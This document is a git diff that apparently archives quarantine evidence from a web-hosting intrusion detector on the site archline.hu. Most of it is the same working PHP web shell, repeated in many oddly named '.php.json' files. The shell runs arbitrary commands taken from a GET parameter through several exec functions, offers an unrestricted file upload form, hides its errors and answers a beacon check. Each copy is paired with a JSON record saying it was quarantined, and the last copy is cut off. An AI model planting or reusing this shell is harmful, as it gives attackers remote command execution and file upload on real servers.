 create mode 100644 var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json.evidence.json

diff --git a/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json b/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json.evidence.json
new file mode 100644
index 0000000..67d5eeb
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2899",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_0auup6mf.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783858318,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_0auup6mf.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json b/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json.evidence.json
new file mode 100644
index 0000000..0067363
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2915",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_4850bh4a.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783861952,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_4850bh4a.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json b/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json.evidence.json
new file mode 100644
index 0000000..4f887ed
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2909",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_4g075mza.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783867047,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_4g075mza.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json b/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json.evidence.json
new file mode 100644
index 0000000..f1a0526
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2833",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_7kri7up1.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783871529,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_7kri7up1.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json b/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json.evidence.json
new file mode 100644
index 0000000..e50c8a1
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2878",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_8ff9si92.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783865771,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_8ff9si92.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json b/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json.evidence.json
new file mode 100644
index 0000000..7e9695f
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2835",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_c9lejjtn.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857948,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_c9lejjtn.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json b/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json.evidence.json
new file mode 100644
index 0000000..1fbb719
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2846",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_czk16vzq.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783904363,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_czk16vzq.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json b/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json.evidence.json
new file mode 100644
index 0000000..c38cf8d
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2917",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_czx65dw0.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783870221,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_czx65dw0.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json b/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json.evidence.json
new file mode 100644
index 0000000..15d0e90
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2864",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_eadu7slw.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857929,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_eadu7slw.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json b/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json.evidence.json
new file mode 100644
index 0000000..1701811
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2830",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_eug6h7tt.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783834297,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_eug6h7tt.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json b/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
